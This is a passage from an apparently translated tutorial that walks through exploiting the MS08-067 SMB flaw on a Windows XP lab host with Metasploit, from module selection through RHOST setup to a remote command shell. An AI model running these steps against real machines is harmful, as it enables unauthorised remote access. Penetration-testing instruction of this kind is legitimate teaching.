above we can see the "rank", here we can see the vulnerability in the smb module.
from the start that, great, good, average, low.
I've been looking for a great and matched according to the target OS, and open ports, namely port 445. views of the target OS is Windows XP sp3, then adapted to exploit smb version available.

Third, select the smb module.
for example:
exploit/windows/smb/ms08_067_netapi

and type:

msf> use exploit/windows/smb/ms08_067_netapi
then be entered:

msf exploit (ms08_067_netapi)> show options
settings will appear, as shown in the "Exploit target" will usually aesthetically OS name. because the module can all windows OS

Module options (exploit/windows/smb/ms08_067_netapi):

    Name Current Setting Required Description
    --------------------------------------
    RHOST yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Exploit target:

    id Name
    ------
    0 Automatic Targeting

Fourth, enter the address RHOST or Target

msf exploit (ms08_067_netapi)> set RHOST 172.16.227.128
RHOST => 172.16.227.128
and are we waiting for, type:

msf exploit (ms08_067_netapi)> exploit


and are we waiting for, type:

meterpreter> shell

yuhuuuuuuu .....
and ultimately, exploited. into the C: \ WINDOWS \ system32>

Process 2324 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp..

C: \ WINDOWS \ system32>